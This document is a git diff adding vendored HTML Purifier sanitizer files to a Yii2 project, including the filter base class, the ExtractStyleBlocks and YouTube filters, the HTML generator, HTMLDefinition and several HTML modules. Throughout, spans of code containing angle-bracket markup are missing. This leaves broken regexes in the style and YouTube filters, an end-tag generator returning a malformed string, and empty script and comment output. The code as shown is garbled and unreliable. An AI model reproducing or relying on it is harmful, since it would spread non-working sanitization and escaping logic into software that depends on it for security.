Methods are not declared abstract as it is perfectly legitimate + * for an implementation not to want anything to happen on a step + */ + +class HTMLPurifier_Filter +{ + + /** + * Name of the filter for identification purposes. + * @type string + */ + public $name; + + /** + * Pre-processor function, handles HTML before HTML Purifier + * @param string $html + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public function preFilter($html, $config, $context) + { + return $html; + } + + /** + * Post-processor function, handles HTML after HTML Purifier + * @param string $html + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public function postFilter($html, $config, $context) + { + return $html; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php new file mode 100644 index 00000000..08e62c16 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php @@ -0,0 +1,338 @@ + blocks from input HTML, cleans them up + * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') + * so they can be used elsewhere in the document. + * + * @note + * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for + * sample usage. + * + * @note + * This filter can also be used on stylesheets not included in the + * document--something purists would probably prefer. Just directly + * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS() + */ +class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter +{ + /** + * @type string + */ + public $name = 'ExtractStyleBlocks'; + + /** + * @type array + */ + private $_styleMatches = array(); + + /** + * @type csstidy + */ + private $_tidy; + + /** + * @type HTMLPurifier_AttrDef_HTML_ID + */ + private $_id_attrdef; + + /** + * @type HTMLPurifier_AttrDef_CSS_Ident + */ + private $_class_attrdef; + + /** + * @type HTMLPurifier_AttrDef_Enum + */ + private $_enum_attrdef; + + public function __construct() + { + $this->_tidy = new csstidy(); + $this->_tidy->set_cfg('lowercase_s', false); + $this->_id_attrdef = new HTMLPurifier_AttrDef_HTML_ID(true); + $this->_class_attrdef = new HTMLPurifier_AttrDef_CSS_Ident(); + $this->_enum_attrdef = new HTMLPurifier_AttrDef_Enum( + array( + 'first-child', + 'link', + 'visited', + 'active', + 'hover', + 'focus' + ) + ); + } + + /** + * Save the contents of CSS blocks to style matches + * @param array $matches preg_replace style $matches array + */ + protected function styleCallback($matches) + { + $this->_styleMatches[] = $matches[1]; + } + + /** + * Removes inline #isU', array($this, 'styleCallback'), $html); + $style_blocks = $this->_styleMatches; + $this->_styleMatches = array(); // reset + $context->register('StyleBlocks', $style_blocks); // $context must not be reused + if ($this->_tidy) { + foreach ($style_blocks as &$style) { + $style = $this->cleanCSS($style, $config, $context); + } + } + return $html; + } + + /** + * Takes CSS (the stuff found in in a font-family prop). + if ($config->get('Filter.ExtractStyleBlocks.Escaping')) { + $css = str_replace( + array('<', '>', '&'), + array('\3C ', '\3E ', '\26 '), + $css + ); + } + return $css; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php new file mode 100644 index 00000000..411519ad --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php @@ -0,0 +1,65 @@ +]+>.+?' . + 'http://www.youtube.com/((?:v|cp)/[A-Za-z0-9\-_=]+).+?#s'; + $pre_replace = '\1'; + return preg_replace($pre_regex, $pre_replace, $html); + } + + /** + * @param string $html + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public function postFilter($html, $config, $context) + { + $post_regex = '#((?:v|cp)/[A-Za-z0-9\-_=]+)#'; + return preg_replace_callback($post_regex, array($this, 'postFilterCallback'), $html); + } + + /** + * @param $url + * @return string + */ + protected function armorUrl($url) + { + return str_replace('--', '--', $url); + } + + /** + * @param array $matches + * @return string + */ + protected function postFilterCallback($matches) + { + $url = $this->armorUrl($matches[1]); + return '' . + '' . + '' . + ''; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php new file mode 100644 index 00000000..6fb56871 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php @@ -0,0 +1,286 @@ + tags. + * @type bool + */ + private $_scriptFix = false; + + /** + * Cache of HTMLDefinition during HTML output to determine whether or + * not attributes should be minimized. + * @type HTMLPurifier_HTMLDefinition + */ + private $_def; + + /** + * Cache of %Output.SortAttr. + * @type bool + */ + private $_sortAttr; + + /** + * Cache of %Output.FlashCompat. + * @type bool + */ + private $_flashCompat; + + /** + * Cache of %Output.FixInnerHTML. + * @type bool + */ + private $_innerHTMLFix; + + /** + * Stack for keeping track of object information when outputting IE + * compatibility code. + * @type array + */ + private $_flashStack = array(); + + /** + * Configuration for the generator + * @type HTMLPurifier_Config + */ + protected $config; + + /** + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + */ + public function __construct($config, $context) + { + $this->config = $config; + $this->_scriptFix = $config->get('Output.CommentScriptContents'); + $this->_innerHTMLFix = $config->get('Output.FixInnerHTML'); + $this->_sortAttr = $config->get('Output.SortAttr'); + $this->_flashCompat = $config->get('Output.FlashCompat'); + $this->_def = $config->getHTMLDefinition(); + $this->_xhtml = $this->_def->doctype->xml; + } + + /** + * Generates HTML from an array of tokens. + * @param HTMLPurifier_Token[] $tokens Array of HTMLPurifier_Token + * @return string Generated HTML + */ + public function generateFromTokens($tokens) + { + if (!$tokens) { + return ''; + } + + // Basic algorithm + $html = ''; + for ($i = 0, $size = count($tokens); $i < $size; $i++) { + if ($this->_scriptFix && $tokens[$i]->name === 'script' + && $i + 2 < $size && $tokens[$i+2] instanceof HTMLPurifier_Token_End) { + // script special case + // the contents of the script block must be ONE token + // for this to work. + $html .= $this->generateFromToken($tokens[$i++]); + $html .= $this->generateScriptFromToken($tokens[$i++]); + } + $html .= $this->generateFromToken($tokens[$i]); + } + + // Tidy cleanup + if (extension_loaded('tidy') && $this->config->get('Output.TidyFormat')) { + $tidy = new Tidy; + $tidy->parseString( + $html, + array( + 'indent'=> true, + 'output-xhtml' => $this->_xhtml, + 'show-body-only' => true, + 'indent-spaces' => 2, + 'wrap' => 68, + ), + 'utf8' + ); + $tidy->cleanRepair(); + $html = (string) $tidy; // explicit cast necessary + } + + // Normalize newlines to system defined value + if ($this->config->get('Core.NormalizeNewlines')) { + $nl = $this->config->get('Output.Newline'); + if ($nl === null) { + $nl = PHP_EOL; + } + if ($nl !== "\n") { + $html = str_replace("\n", $nl, $html); + } + } + return $html; + } + + /** + * Generates HTML from a single token. + * @param HTMLPurifier_Token $token HTMLPurifier_Token object. + * @return string Generated HTML + */ + public function generateFromToken($token) + { + if (!$token instanceof HTMLPurifier_Token) { + trigger_error('Cannot generate HTML from non-HTMLPurifier_Token object', E_USER_WARNING); + return ''; + + } elseif ($token instanceof HTMLPurifier_Token_Start) { + $attr = $this->generateAttributes($token->attr, $token->name); + if ($this->_flashCompat) { + if ($token->name == "object") { + $flash = new stdclass(); + $flash->attr = $token->attr; + $flash->param = array(); + $this->_flashStack[] = $flash; + } + } + return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_End) { + $_extra = ''; + if ($this->_flashCompat) { + if ($token->name == "object" && !empty($this->_flashStack)) { + // doesn't do anything for now + } + } + return $_extra . 'name . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_Empty) { + if ($this->_flashCompat && $token->name == "param" && !empty($this->_flashStack)) { + $this->_flashStack[count($this->_flashStack)-1]->param[$token->attr['name']] = $token->attr['value']; + } + $attr = $this->generateAttributes($token->attr, $token->name); + return '<' . $token->name . ($attr ? ' ' : '') . $attr . + ( $this->_xhtml ? ' /': '' ) //
        v.
        + . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_Text) { + return $this->escape($token->data, ENT_NOQUOTES); + + } elseif ($token instanceof HTMLPurifier_Token_Comment) { + return ''; + } else { + return ''; + + } + } + + /** + * Special case processor for the contents of script tags + * @param HTMLPurifier_Token $token HTMLPurifier_Token object. + * @return string + * @warning This runs into problems if there's already a literal + * --> somewhere inside the script contents. + */ + public function generateScriptFromToken($token) + { + if (!$token instanceof HTMLPurifier_Token_Text) { + return $this->generateFromToken($token); + } + // Thanks + $data = preg_replace('#//\s*$#', '', $token->data); + return ''; + } + + /** + * Generates attribute declarations from attribute array. + * @note This does not include the leading or trailing space. + * @param array $assoc_array_of_attributes Attribute array + * @param string $element Name of element attributes are for, used to check + * attribute minimization. + * @return string Generated HTML fragment for insertion. + */ + public function generateAttributes($assoc_array_of_attributes, $element = '') + { + $html = ''; + if ($this->_sortAttr) { + ksort($assoc_array_of_attributes); + } + foreach ($assoc_array_of_attributes as $key => $value) { + if (!$this->_xhtml) { + // Remove namespaced attributes + if (strpos($key, ':') !== false) { + continue; + } + // Check if we should minimize the attribute: val="val" -> val + if ($element && !empty($this->_def->info[$element]->attr[$key]->minimized)) { + $html .= $key . ' '; + continue; + } + } + // Workaround for Internet Explorer innerHTML bug. + // Essentially, Internet Explorer, when calculating + // innerHTML, omits quotes if there are no instances of + // angled brackets, quotes or spaces. However, when parsing + // HTML (for example, when you assign to innerHTML), it + // treats backticks as quotes. Thus, + // `` + // becomes + // `` + // becomes + // + // Fortunately, all we need to do is trigger an appropriate + // quoting style, which we do by adding an extra space. + // This also is consistent with the W3C spec, which states + // that user agents may ignore leading or trailing + // whitespace (in fact, most don't, at least for attributes + // like alt, but an extra space at the end is barely + // noticeable). Still, we have a configuration knob for + // this, since this transformation is not necesary if you + // don't process user input with innerHTML or you don't plan + // on supporting Internet Explorer. + if ($this->_innerHTMLFix) { + if (strpos($value, '`') !== false) { + // check if correct quoting style would not already be + // triggered + if (strcspn($value, '"\' <>') === strlen($value)) { + // protect! + $value .= ' '; + } + } + } + $html .= $key.'="'.$this->escape($value).'" '; + } + return rtrim($html); + } + + /** + * Escapes raw text data. + * @todo This really ought to be protected, but until we have a facility + * for properly generating HTML here w/o using tokens, it stays + * public. + * @param string $string String data to escape for HTML. + * @param int $quote Quoting style, like htmlspecialchars. ENT_NOQUOTES is + * permissible for non-attribute output. + * @return string escaped data. + */ + public function escape($string, $quote = null) + { + // Workaround for APC bug on Mac Leopard reported by sidepodcast + // http://htmlpurifier.org/phorum/read.php?3,4823,4846 + if ($quote === null) { + $quote = ENT_COMPAT; + } + return htmlspecialchars($string, $quote, 'UTF-8'); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php new file mode 100644 index 00000000..9b7b334d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php @@ -0,0 +1,493 @@ +getAnonymousModule(); + if (!isset($module->info[$element_name])) { + $element = $module->addBlankElement($element_name); + } else { + $element = $module->info[$element_name]; + } + $element->attr[$attr_name] = $def; + } + + /** + * Adds a custom element to your HTML definition + * @see HTMLPurifier_HTMLModule::addElement() for detailed + * parameter and return value descriptions. + */ + public function addElement($element_name, $type, $contents, $attr_collections, $attributes = array()) + { + $module = $this->getAnonymousModule(); + // assume that if the user is calling this, the element + // is safe. This may not be a good idea + $element = $module->addElement($element_name, $type, $contents, $attr_collections, $attributes); + return $element; + } + + /** + * Adds a blank element to your HTML definition, for overriding + * existing behavior + * @param string $element_name + * @return HTMLPurifier_ElementDef + * @see HTMLPurifier_HTMLModule::addBlankElement() for detailed + * parameter and return value descriptions. + */ + public function addBlankElement($element_name) + { + $module = $this->getAnonymousModule(); + $element = $module->addBlankElement($element_name); + return $element; + } + + /** + * Retrieves a reference to the anonymous module, so you can + * bust out advanced features without having to make your own + * module. + * @return HTMLPurifier_HTMLModule + */ + public function getAnonymousModule() + { + if (!$this->_anonModule) { + $this->_anonModule = new HTMLPurifier_HTMLModule(); + $this->_anonModule->name = 'Anonymous'; + } + return $this->_anonModule; + } + + private $_anonModule = null; + + // PUBLIC BUT INTERNAL VARIABLES -------------------------------------- + + /** + * @type string + */ + public $type = 'HTML'; + + /** + * @type HTMLPurifier_HTMLModuleManager + */ + public $manager; + + /** + * Performs low-cost, preliminary initialization. + */ + public function __construct() + { + $this->manager = new HTMLPurifier_HTMLModuleManager(); + } + + /** + * @param HTMLPurifier_Config $config + */ + protected function doSetup($config) + { + $this->processModules($config); + $this->setupConfigStuff($config); + unset($this->manager); + + // cleanup some of the element definitions + foreach ($this->info as $k => $v) { + unset($this->info[$k]->content_model); + unset($this->info[$k]->content_model_type); + } + } + + /** + * Extract out the information from the manager + * @param HTMLPurifier_Config $config + */ + protected function processModules($config) + { + if ($this->_anonModule) { + // for user specific changes + // this is late-loaded so we don't have to deal with PHP4 + // reference wonky-ness + $this->manager->addModule($this->_anonModule); + unset($this->_anonModule); + } + + $this->manager->setup($config); + $this->doctype = $this->manager->doctype; + + foreach ($this->manager->modules as $module) { + foreach ($module->info_tag_transform as $k => $v) { + if ($v === false) { + unset($this->info_tag_transform[$k]); + } else { + $this->info_tag_transform[$k] = $v; + } + } + foreach ($module->info_attr_transform_pre as $k => $v) { + if ($v === false) { + unset($this->info_attr_transform_pre[$k]); + } else { + $this->info_attr_transform_pre[$k] = $v; + } + } + foreach ($module->info_attr_transform_post as $k => $v) { + if ($v === false) { + unset($this->info_attr_transform_post[$k]); + } else { + $this->info_attr_transform_post[$k] = $v; + } + } + foreach ($module->info_injector as $k => $v) { + if ($v === false) { + unset($this->info_injector[$k]); + } else { + $this->info_injector[$k] = $v; + } + } + } + $this->info = $this->manager->getElements(); + $this->info_content_sets = $this->manager->contentSets->lookup; + } + + /** + * Sets up stuff based on config. We need a better way of doing this. + * @param HTMLPurifier_Config $config + */ + protected function setupConfigStuff($config) + { + $block_wrapper = $config->get('HTML.BlockWrapper'); + if (isset($this->info_content_sets['Block'][$block_wrapper])) { + $this->info_block_wrapper = $block_wrapper; + } else { + trigger_error( + 'Cannot use non-block element as block wrapper', + E_USER_ERROR + ); + } + + $parent = $config->get('HTML.Parent'); + $def = $this->manager->getElement($parent, true); + if ($def) { + $this->info_parent = $parent; + $this->info_parent_def = $def; + } else { + trigger_error( + 'Cannot use unrecognized element as parent', + E_USER_ERROR + ); + $this->info_parent_def = $this->manager->getElement($this->info_parent, true); + } + + // support template text + $support = "(for information on implementing this, see the support forums) "; + + // setup allowed elements ----------------------------------------- + + $allowed_elements = $config->get('HTML.AllowedElements'); + $allowed_attributes = $config->get('HTML.AllowedAttributes'); // retrieve early + + if (!is_array($allowed_elements) && !is_array($allowed_attributes)) { + $allowed = $config->get('HTML.Allowed'); + if (is_string($allowed)) { + list($allowed_elements, $allowed_attributes) = $this->parseTinyMCEAllowedList($allowed); + } + } + + if (is_array($allowed_elements)) { + foreach ($this->info as $name => $d) { + if (!isset($allowed_elements[$name])) { + unset($this->info[$name]); + } + unset($allowed_elements[$name]); + } + // emit errors + foreach ($allowed_elements as $element => $d) { + $element = htmlspecialchars($element); // PHP doesn't escape errors, be careful! + trigger_error("Element '$element' is not supported $support", E_USER_WARNING); + } + } + + // setup allowed attributes --------------------------------------- + + $allowed_attributes_mutable = $allowed_attributes; // by copy! + if (is_array($allowed_attributes)) { + // This actually doesn't do anything, since we went away from + // global attributes. It's possible that userland code uses + // it, but HTMLModuleManager doesn't! + foreach ($this->info_global_attr as $attr => $x) { + $keys = array($attr, "*@$attr", "*.$attr"); + $delete = true; + foreach ($keys as $key) { + if ($delete && isset($allowed_attributes[$key])) { + $delete = false; + } + if (isset($allowed_attributes_mutable[$key])) { + unset($allowed_attributes_mutable[$key]); + } + } + if ($delete) { + unset($this->info_global_attr[$attr]); + } + } + + foreach ($this->info as $tag => $info) { + foreach ($info->attr as $attr => $x) { + $keys = array("$tag@$attr", $attr, "*@$attr", "$tag.$attr", "*.$attr"); + $delete = true; + foreach ($keys as $key) { + if ($delete && isset($allowed_attributes[$key])) { + $delete = false; + } + if (isset($allowed_attributes_mutable[$key])) { + unset($allowed_attributes_mutable[$key]); + } + } + if ($delete) { + if ($this->info[$tag]->attr[$attr]->required) { + trigger_error( + "Required attribute '$attr' in element '$tag' " . + "was not allowed, which means '$tag' will not be allowed either", + E_USER_WARNING + ); + } + unset($this->info[$tag]->attr[$attr]); + } + } + } + // emit errors + foreach ($allowed_attributes_mutable as $elattr => $d) { + $bits = preg_split('/[.@]/', $elattr, 2); + $c = count($bits); + switch ($c) { + case 2: + if ($bits[0] !== '*') { + $element = htmlspecialchars($bits[0]); + $attribute = htmlspecialchars($bits[1]); + if (!isset($this->info[$element])) { + trigger_error( + "Cannot allow attribute '$attribute' if element " . + "'$element' is not allowed/supported $support" + ); + } else { + trigger_error( + "Attribute '$attribute' in element '$element' not supported $support", + E_USER_WARNING + ); + } + break; + } + // otherwise fall through + case 1: + $attribute = htmlspecialchars($bits[0]); + trigger_error( + "Global attribute '$attribute' is not ". + "supported in any elements $support", + E_USER_WARNING + ); + break; + } + } + } + + // setup forbidden elements --------------------------------------- + + $forbidden_elements = $config->get('HTML.ForbiddenElements'); + $forbidden_attributes = $config->get('HTML.ForbiddenAttributes'); + + foreach ($this->info as $tag => $info) { + if (isset($forbidden_elements[$tag])) { + unset($this->info[$tag]); + continue; + } + foreach ($info->attr as $attr => $x) { + if (isset($forbidden_attributes["$tag@$attr"]) || + isset($forbidden_attributes["*@$attr"]) || + isset($forbidden_attributes[$attr]) + ) { + unset($this->info[$tag]->attr[$attr]); + continue; + } elseif (isset($forbidden_attributes["$tag.$attr"])) { // this segment might get removed eventually + // $tag.$attr are not user supplied, so no worries! + trigger_error( + "Error with $tag.$attr: tag.attr syntax not supported for " . + "HTML.ForbiddenAttributes; use tag@attr instead", + E_USER_WARNING + ); + } + } + } + foreach ($forbidden_attributes as $key => $v) { + if (strlen($key) < 2) { + continue; + } + if ($key[0] != '*') { + continue; + } + if ($key[1] == '.') { + trigger_error( + "Error with $key: *.attr syntax not supported for HTML.ForbiddenAttributes; use attr instead", + E_USER_WARNING + ); + } + } + + // setup injectors ----------------------------------------------------- + foreach ($this->info_injector as $i => $injector) { + if ($injector->checkNeeded($config) !== false) { + // remove injector that does not have it's required + // elements/attributes present, and is thus not needed. + unset($this->info_injector[$i]); + } + } + } + + /** + * Parses a TinyMCE-flavored Allowed Elements and Attributes list into + * separate lists for processing. Format is element[attr1|attr2],element2... + * @warning Although it's largely drawn from TinyMCE's implementation, + * it is different, and you'll probably have to modify your lists + * @param array $list String list to parse + * @return array + * @todo Give this its own class, probably static interface + */ + public function parseTinyMCEAllowedList($list) + { + $list = str_replace(array(' ', "\t"), '', $list); + + $elements = array(); + $attributes = array(); + + $chunks = preg_split('/(,|[\n\r]+)/', $list); + foreach ($chunks as $chunk) { + if (empty($chunk)) { + continue; + } + // remove TinyMCE element control characters + if (!strpos($chunk, '[')) { + $element = $chunk; + $attr = false; + } else { + list($element, $attr) = explode('[', $chunk); + } + if ($element !== '*') { + $elements[$element] = true; + } + if (!$attr) { + continue; + } + $attr = substr($attr, 0, strlen($attr) - 1); // remove trailing ] + $attr = explode('|', $attr); + foreach ($attr as $key) { + $attributes["$element.$key"] = true; + } + } + return array($elements, $attributes); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php new file mode 100644 index 00000000..bb3a9230 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php @@ -0,0 +1,284 @@ +info, since the object's data is only info, + * with extra behavior associated with it. + * @type array + */ + public $attr_collections = array(); + + /** + * Associative array of deprecated tag name to HTMLPurifier_TagTransform. + * @type array + */ + public $info_tag_transform = array(); + + /** + * List of HTMLPurifier_AttrTransform to be performed before validation. + * @type array + */ + public $info_attr_transform_pre = array(); + + /** + * List of HTMLPurifier_AttrTransform to be performed after validation. + * @type array + */ + public $info_attr_transform_post = array(); + + /** + * List of HTMLPurifier_Injector to be performed during well-formedness fixing. + * An injector will only be invoked if all of it's pre-requisites are met; + * if an injector fails setup, there will be no error; it will simply be + * silently disabled. + * @type array + */ + public $info_injector = array(); + + /** + * Boolean flag that indicates whether or not getChildDef is implemented. + * For optimization reasons: may save a call to a function. Be sure + * to set it if you do implement getChildDef(), otherwise it will have + * no effect! + * @type bool + */ + public $defines_child_def = false; + + /** + * Boolean flag whether or not this module is safe. If it is not safe, all + * of its members are unsafe. Modules are safe by default (this might be + * slightly dangerous, but it doesn't make much sense to force HTML Purifier, + * which is based off of safe HTML, to explicitly say, "This is safe," even + * though there are modules which are "unsafe") + * + * @type bool + * @note Previously, safety could be applied at an element level granularity. + * We've removed this ability, so in order to add "unsafe" elements + * or attributes, a dedicated module with this property set to false + * must be used. + */ + public $safe = true; + + /** + * Retrieves a proper HTMLPurifier_ChildDef subclass based on + * content_model and content_model_type member variables of + * the HTMLPurifier_ElementDef class. There is a similar function + * in HTMLPurifier_HTMLDefinition. + * @param HTMLPurifier_ElementDef $def + * @return HTMLPurifier_ChildDef subclass + */ + public function getChildDef($def) + { + return false; + } + + // -- Convenience ----------------------------------------------------- + + /** + * Convenience function that sets up a new element + * @param string $element Name of element to add + * @param string|bool $type What content set should element be registered to? + * Set as false to skip this step. + * @param string $contents Allowed children in form of: + * "$content_model_type: $content_model" + * @param array $attr_includes What attribute collections to register to + * element? + * @param array $attr What unique attributes does the element define? + * @see HTMLPurifier_ElementDef:: for in-depth descriptions of these parameters. + * @return HTMLPurifier_ElementDef Created element definition object, so you + * can set advanced parameters + */ + public function addElement($element, $type, $contents, $attr_includes = array(), $attr = array()) + { + $this->elements[] = $element; + // parse content_model + list($content_model_type, $content_model) = $this->parseContents($contents); + // merge in attribute inclusions + $this->mergeInAttrIncludes($attr, $attr_includes); + // add element to content sets + if ($type) { + $this->addElementToContentSet($element, $type); + } + // create element + $this->info[$element] = HTMLPurifier_ElementDef::create( + $content_model, + $content_model_type, + $attr + ); + // literal object $contents means direct child manipulation + if (!is_string($contents)) { + $this->info[$element]->child = $contents; + } + return $this->info[$element]; + } + + /** + * Convenience function that creates a totally blank, non-standalone + * element. + * @param string $element Name of element to create + * @return HTMLPurifier_ElementDef Created element + */ + public function addBlankElement($element) + { + if (!isset($this->info[$element])) { + $this->elements[] = $element; + $this->info[$element] = new HTMLPurifier_ElementDef(); + $this->info[$element]->standalone = false; + } else { + trigger_error("Definition for $element already exists in module, cannot redefine"); + } + return $this->info[$element]; + } + + /** + * Convenience function that registers an element to a content set + * @param string $element Element to register + * @param string $type Name content set (warning: case sensitive, usually upper-case + * first letter) + */ + public function addElementToContentSet($element, $type) + { + if (!isset($this->content_sets[$type])) { + $this->content_sets[$type] = ''; + } else { + $this->content_sets[$type] .= ' | '; + } + $this->content_sets[$type] .= $element; + } + + /** + * Convenience function that transforms single-string contents + * into separate content model and content model type + * @param string $contents Allowed children in form of: + * "$content_model_type: $content_model" + * @return array + * @note If contents is an object, an array of two nulls will be + * returned, and the callee needs to take the original $contents + * and use it directly. + */ + public function parseContents($contents) + { + if (!is_string($contents)) { + return array(null, null); + } // defer + switch ($contents) { + // check for shorthand content model forms + case 'Empty': + return array('empty', ''); + case 'Inline': + return array('optional', 'Inline | #PCDATA'); + case 'Flow': + return array('optional', 'Flow | #PCDATA'); + } + list($content_model_type, $content_model) = explode(':', $contents); + $content_model_type = strtolower(trim($content_model_type)); + $content_model = trim($content_model); + return array($content_model_type, $content_model); + } + + /** + * Convenience function that merges a list of attribute includes into + * an attribute array. + * @param array $attr Reference to attr array to modify + * @param array $attr_includes Array of includes / string include to merge in + */ + public function mergeInAttrIncludes(&$attr, $attr_includes) + { + if (!is_array($attr_includes)) { + if (empty($attr_includes)) { + $attr_includes = array(); + } else { + $attr_includes = array($attr_includes); + } + } + $attr[0] = $attr_includes; + } + + /** + * Convenience function that generates a lookup table with boolean + * true as value. + * @param string $list List of values to turn into a lookup + * @note You can also pass an arbitrary number of arguments in + * place of the regular argument + * @return array array equivalent of list + */ + public function makeLookup($list) + { + if (is_string($list)) { + $list = func_get_args(); + } + $ret = array(); + foreach ($list as $value) { + if (is_null($value)) { + continue; + } + $ret[$value] = true; + } + return $ret; + } + + /** + * Lazy load construction of the module after determining whether + * or not it's needed, and also when a finalized configuration object + * is available. + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php new file mode 100644 index 00000000..1e67c790 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php @@ -0,0 +1,44 @@ + array('dir' => false) + ); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $bdo = $this->addElement( + 'bdo', + 'Inline', + 'Inline', + array('Core', 'Lang'), + array( + 'dir' => 'Enum#ltr,rtl', // required + // The Abstract Module specification has the attribute + // inclusions wrong for bdo: bdo allows Lang + ) + ); + $bdo->attr_transform_post[] = new HTMLPurifier_AttrTransform_BdoDir(); + + $this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl'; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php new file mode 100644 index 00000000..a96ab1be --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php @@ -0,0 +1,31 @@ + array( + 0 => array('Style'), + // 'xml:space' => false, + 'class' => 'Class', + 'id' => 'ID', + 'title' => 'CDATA', + ), + 'Lang' => array(), + 'I18N' => array( + 0 => array('Lang'), // proprietary, for xml:lang/lang + ), + 'Common' => array( + 0 => array('Core', 'I18N') + ) + ); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php new file mode 100644 index 00000000..a9042a35 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php @@ -0,0 +1,55 @@ + 'URI', + // 'datetime' => 'Datetime', // not implemented + ); + $this->addElement('del', 'Inline', $contents, 'Common', $attr); + $this->addElement('ins', 'Inline', $contents, 'Common', $attr); + } + + // HTML 4.01 specifies that ins/del must not contain block + // elements when used in an inline context, chameleon is + // a complicated workaround to acheive this effect + + // Inline context ! Block context (exclamation mark is + // separator, see getChildDef for parsing) + + /** + * @type bool + */ + public $defines_child_def = true; + + /** + * @param HTMLPurifier_ElementDef $def + * @return HTMLPurifier_ChildDef_Chameleon + */ + public function getChildDef($def) + { + if ($def->content_model_type != 'chameleon') { + return false; + } + $value = explode('!', $def->content_model); + return new HTMLPurifier_ChildDef_Chameleon($value[0], $value[1]); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php new file mode 100644 index 00000000..6f7ddbc0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php @@ -0,0 +1,190 @@ + 'Form', + 'Inline' => 'Formctrl', + ); + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $form = $this->addElement( + 'form', + 'Form', + 'Required: Heading | List | Block | fieldset', + 'Common', + array( + 'accept' => 'ContentTypes', + 'accept-charset' => 'Charsets', + 'action*' => 'URI', + 'method' => 'Enum#get,post', + // really ContentType, but these two are the only ones used today + 'enctype' => 'Enum#application/x-www-form-urlencoded,multipart/form-data', + ) + ); + $form->excludes = array('form' => true); + + $input = $this->addElement( + 'input', + 'Formctrl', + 'Empty', + 'Common', + array( + 'accept' => 'ContentTypes', + 'accesskey' => 'Character', + 'alt' => 'Text', + 'checked' => 'Bool#checked', + 'disabled' => 'Bool#disabled', + 'maxlength' => 'Number', + 'name' => 'CDATA', + 'readonly' => 'Bool#readonly', + 'size' => 'Number', + 'src' => 'URI#embedded', + 'tabindex' => 'Number', + 'type' => 'Enum#text,password,checkbox,button,radio,submit,reset,file,hidden,image', + 'value' => 'CDATA', + ) + ); + $input->attr_transform_post[] = new HTMLPurifier_AttrTransform_Input(); + + $this->addElement( + 'select', + 'Formctrl', + 'Required: optgroup | option', + 'Common', + array( + 'disabled' => 'Bool#disabled', + 'multiple' => 'Bool#multiple', + 'name' => 'CDATA', + 'size' => 'Number', + 'tabindex' => 'Number', + ) + ); + + $this->addElement( + 'option', + false, + 'Optional: #PCDATA', + 'Common', + array( + 'disabled' => 'Bool#disabled', + 'label' => 'Text', + 'selected' => 'Bool#selected', + 'value' => 'CDATA', + ) + ); + // It's illegal for there to be more than one selected, but not + // be multiple. Also, no selected 